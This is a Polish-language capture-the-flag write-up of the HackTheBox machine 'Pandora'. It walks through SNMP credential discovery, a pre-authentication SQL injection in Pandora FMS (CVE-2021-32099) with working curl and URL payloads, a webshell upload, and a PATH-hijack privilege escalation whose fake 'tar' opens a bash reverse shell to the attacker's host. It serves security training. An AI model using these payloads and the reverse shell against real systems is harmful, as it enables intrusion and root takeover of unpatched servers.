Pandora - 02.02.2022


Adres IP Pandora: 10.10.11.136 Adres IP mojego Linuxa: 10.10.14.224

NMap

┌──(kali㉿kali)-[~/htb/pandora]
└─$ nmap -sC -sV panda.htb   
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-30 21:57 CET
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.089s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.06 seconds

FeroxBuster oraz Nikto nie wykazały niczego wartego uwagi.

Strona główna

Na stronie dostrzegam Panda.HTB, zatem dodaję odpowiedni wpis 10.10.11.136 panda.htb do /etc/hosts.


BurpSuite

Na stronie jest aktywny formularz.

Próbowałem różnych sposobów, ale bez skutku.


Postanowiłem sprawdzić jeszcze porty UDP.

Nmap UDP

┌──(kali㉿kali)-[~/htb/pandora]
└─$ sudo nmap -sU 10.10.11.136                                                                                   1 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-31 01:34 CET
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 0.80% done
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 1.73% done; ETC: 01:38 (0:03:47 remaining)
Stats: 0:02:51 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 17.74% done; ETC: 01:50 (0:13:18 remaining)
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.054s latency).
Not shown: 999 closed ports
PORT    STATE         SERVICE
161/udp open|filtered snmp

Mamy otwarty port 161.


Ukryty port 161 - SNMP

Narzędziem snmp-check można przeprowadzić enumerację usługi SNMP. Tutaj między wieloma linijkami dostrzegłem coś nietypowego.

┌──(kali㉿kali)-[~/htb/pandora]                                                                                                                                                                                                             
└─$ snmp-check 10.10.11.136 -c public

...


843                   runnable              sh                    /bin/sh               -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'


...

Mamy potencjalne dane logowania:

daniel:HotelBabylon23

Udało mi się zalogować z użyciem tych danych.

ssh daniel@10.10.11.136
HotelBabylon23


Drugi user - matt

Na maszynie jest również drugi user i to na niego należy się dostać, aby odczytać flagę user.txt

Analizując od wewnątrz skryptem linpeas.sh znalazłem sporo wektorów:

  1. Folder z prawami dla użytkownika matt
/var/www/pandora
  1. Podejrzany SUID?
-rwsr-x--- 1 root matt 17K Dec  3 15:58 /usr/bin/pandora_backup (Unknown SUID binary)
  1. Plik api.php - możliwe, że istnieje jakieś API.

Wygląda na to, że to Pandora FMS (oprogramowanie do monitorowania sieci komputerowych).

Dostęp do pliku konfiguracyjnego config.php jest zablokowany.

daniel@pandora:/var/www/pandora/pandora_console/include$ cat config.php
cat: config.php: Permission denied

Po małym researchu w Google znalazłem adres na API:

http://127.0.0.1/pandora_console/include/api.php

Sprawdzam prostym zapytaniem curl działanie API.

curl "http://127.0.0.1/pandora_console/include/api.php?op=get&op2=plugins&return_type=csv&other=;&apipass=1234&user=admin&pass=pandora"

Po takim wywołaniu otrzymuję auth error, czyli API odpowiada.


Chisel

Tutaj pomocne będzie narzędzie Chisel, które pozwoli na działanie na naszej przeglądarce mimo, że cała infrastruktura Pandory jest na wewnętrznej sieci maszyny.

Ustawiam serwer na moim Linuxie, który nasłuchuje na porcie 8001:

chisel server --reverse -p 8001

Klienta ustawiam na Pandorze na użytkowniku matt:

./chisel client 10.10.14.224:8001 R:8000:127.0.0.1:80

Czyli łączę się po 10.10.14.224 z moim Linuxem na porcie 8001, a następnie przekierowuję ruch na port 8000 a 127.0.0.1:80 to adres na który chcę się dostać.

I tym sposobem otrzymuję panel logowania. Teraz mogę przystąpić do prób łamania.

Jak się okazuje, jest to wersja v7.0NG.742_FIX_PERL2020. Szybki research daje nadzieje na jakieś podatności.

Jest RCE, potrzebujemy jeszcze użytkownika i hasło https://www.exploit-db.com/exploits/47898

Próbowałem różnych kombinacji jeżeli chodzi o panel logowania, ale nic nie działało. Natomiast, gdy spróbowałem kombinację daniel:HotelBabylon23, którą użyliśmy do logowania na SSH, pojawił się inny komunikat.

Komunikat przy “zwykłej” kombinacji:

Komunikat po daniel:HotelBabylon23:

Ok, tutaj bardzo pomocny okazał się wpis na pewnym blogu. https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained

Największą luką w tej Pandorze jest SQL Injection (pre authentication) (CVE-2021-32099) i po chwili researchu znalazłem z jakiegoś powodu usuniętego exploita na Githubie. Poradziłem sobie przez Google Cache.

https://webcache.googleusercontent.com/search?q=cache:https://github.com/nikn0laty/CVE-2021-32099_exploit


Exploit

┌──(kali㉿kali)-[~/htb/pandora]
└─$ curl -d "session_id=666' UNION SELECT 1,2,data FROM tsessions_php WHERE data LIKE '%matt%' -- xxx" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: PHPSESSID=mk92cuv4lllsta4b2stc4ak21k" -X POST http://127.0.0.1:8000/pandora_console/include/chart_generator.php

Odpowiedź:

<!DOCTYPE>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>Pandora FMS Graph ( - )</title>
        <link rel="stylesheet" href="styles/pandora.css" type="text/css" />
        <link rel="stylesheet" href="styles/pandora_minimal.css" type="text/css" />
        <link rel="stylesheet" href="styles/js/jquery-ui.min.css" type="text/css" />
        <link rel="stylesheet" href="styles/js/jquery-ui_custom.css" type="text/css" />
        <script language="javascript" type='text/javascript' src='javascript/pandora.js'></script>
        <script language="javascript" type='text/javascript' src='javascript/jquery-3.3.1.min.js'></script>
        <script language="javascript" type='text/javascript' src='javascript/jquery.pandora.js'></script>
        <script language="javascript" type='text/javascript' src='javascript/jquery-ui.min.js'></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.min.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.time.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.pie.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.crosshair.min.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.stack.min.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.selection.min.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.resize.min.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.threshold.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.threshold.multiple.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.symbol.min.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.exportdata.pandora.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.axislabels.js"></script>
        <script language="javascript" type="text/javascript" src="graphs/flot/pandora.flot.js"></script>
    </head>
    <body bgcolor="#ffffff" style='background:#ffffff;'>
    <div></div>    <script type="text/javascript">
        $('document').ready(function () {
            setTimeout(function () {
                try {
                    var status = window.callPhantom({ status: "loaded" });
                } catch (error) {
                    console.log("CALLBACK ERROR", error.message)
                }
            }, 100);
        });
    </script>
        </body>
</html>

Odpowiedź wskazuję na powodzenie exploitu, po wklejeniu id ciasteczka do przeglądarki mk92cuv4lllsta4b2stc4ak21k, otrzymałem zalogowany panel Pandory.

Pandora FMS Graph ( - )

Pandora FMS v7.0NG.742_FIX_PERL2020 - Build PC200103 - MR 34

W tym momencie znalazłem kolejny link do Githuba z możliwością wykorzystania błędu z SQL Injection.

https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated/blob/master/sqlpwn.py

Payload: http://127.0.0.1:8000/pandora_console/include/chart_generator.php?session_id=' union SELECT 1,2,'id_usuario|s:5:"admin";' as data -- SgGO

I w tym momencie mamy dostęp do konta admina. Próbowałem wrzucić reverse-shell.php bezpośrednio na serwer, ale modyfikując pewne parametry w BurpSuite, ale nic nie chciało zadziałać. Wspomogłem się filmikiem, na którym jest przedstawiony podobny problem. Tutaj użytkownik spakował shell.php do zipa i taki plik wrzucił na serwer. Ten przyjął zipa i wypakował go do ścieżki http://127.0.0.1:8000/pandora_console/extensions/ https://www.youtube.com/watch?v=KX_jZsdgsJE

Po uruchomieniu pliku na serwerze. Dostałem przekierowanie. W taki sposób otrzymałem shella na użytkowniku matt.

user.txt 3ad61bc0b475100ae5f2de64e3229de3

Wylistowałem również plik config.php, który wcześniej był niedostępny z nadzieją, że hasło, które się tutaj znajduje to również hasło na użytkownika matt, jednak tak nie było.

cat config.php
<?php
// File generated by centos kickstart
$config["dbtype"] = "mysql";
$config["dbname"]="pandora";
$config["dbuser"]="pandora";
$config["dbpass"]="PandoraFMSSecurePass2021";
$config["dbhost"]="localhost";
$config["homedir"]="/var/www/pandora/pandora_console";
$config["homeurl"]="/pandora_console";
error_reporting(0); 
$ownDir = dirname(__FILE__) . '/';
include ($ownDir . "config_process.php");
?>

Privilege Escalation

Po uruchomieniu skryptu Linpeas ponownie zauważyłem podejrzany SUID.

matt - SSH

Niestety nie mogłem go uruchomić tak po prostu. Potrzebowałem bardziej stablinego shella np. poprzez SSH. Dodałem swój klucz publiczny SSH na maszynę na użytkownika matt, dzięki czemu mogłem dalej spokojnie pracować. Poniżej kod, którym to zrobiłem:

mkdir .ssh
chmod 700 .ssh
cd .ssh
echo "ssh-rsa PUBLIC KEY ..." >> authorized_keys
chmod 600 authorized_keys
ssh matt@panda.htb

Przesłałem sobie również plik pandora_backup poleceniem netcat -l 1234 > pandora(u mnie) oraz netcat -w 2 10.10.14.224 1234 < pandora_backups (na maszynie HTB). Przeanalizowałem plik poprzez strings.

Widać, że program pakuje wszystkie pliki z folderu pandora_console do .backup. Na tym etapie próbowałem eskalacji poprzez tricki z wildcardem. Niestety nie udało mi się to, po dłuższym googlowaniu okazało się, że mogę wykorzystać zmienną $PATH.


$PATH Privileges Escalation

Oryginalna zmienna $PATH jest taka:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

I teraz skoro w skrypcie powyżej mamy tar,który jest wykonywany z uprawnieniami roota, możemy to wykorzystać tworząc swoją wersję binarki tar.

W folderze domowym stworzyłem plik tar.

vim tar
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.224/4444 0>&1

Następnie nadpisałem zmienną $PATH, dzięki czemu najpierw uruchomi się tar znajdujący się w lokalizacji /home/matt a nie /usr/bin.

export PATH=/home/matt:$PATH
cat $PATH
/home/matt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Teraz po uruchomieniu pliku:

matt@pandora:/usr/bin$ ./pandora_backup 
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client

Otrzymałem połączenie w drugim oknie.

root.txt 633258941d13876030f539c90c7322d0